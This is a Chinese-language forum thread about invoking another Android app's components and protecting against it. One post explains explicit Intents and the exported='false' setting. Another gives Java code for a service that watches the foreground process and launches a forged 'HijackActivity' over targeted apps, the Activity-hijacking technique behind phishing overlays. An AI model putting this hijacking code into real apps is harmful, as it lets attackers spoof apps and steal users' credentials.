能力值:
( LV2,RANK:10 )
|
-
-
2 楼
首先外部调用某APK的方法有:Activity、Application、Service、BroadcastReceiver、ContentProvider、 BackupAgentHelper、Preference和ILicensingService的子类。
调用的例子:
Intent intent=new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ComponentName cn=new ComponentName("com.example.soft","com.example.soft.notepad.ViewActivity");
intent.setComponent(cn);
startActivity(intent);
阻止调用(之一):
AndroidManifest.xml中 android:exported="false" ,当然在程序中校验参数也好,就是即时调用了也没甚么用的目的。 仅供参考
|
能力值:
( LV3,RANK:20 )
|
-
-
3 楼
将下面一段代码作为一个服务开启。
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningAppProcessInfo> infos = am.getRunningAppProcesses(); //枚举正在运行的进程列表
for (RunningAppProcessInfo psinfo : infos) {
if (psinfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //前台进程
if (mhijackingList.contains(psinfo.processName)) {
//判断要劫持的Activity列表中是否包含前台正运行的Activity,其中mhijackingList是预先写好的
Log.d("com.droider.hijacker", "hijacking start..");
Intent intent = new Intent(getBaseContext(), HijackActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("processname", psinfo.processName);
getApplication().startActivity(intent); //启动伪造的Activity
}
}
}
代码参考非虫大神
|
能力值:
( LV3,RANK:20 )
|
-
-
4 楼
楼上正解
前几天看到一流氓浮窗,全屏覆盖,太BT了,直接卸载了
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
感谢感谢
|
|
|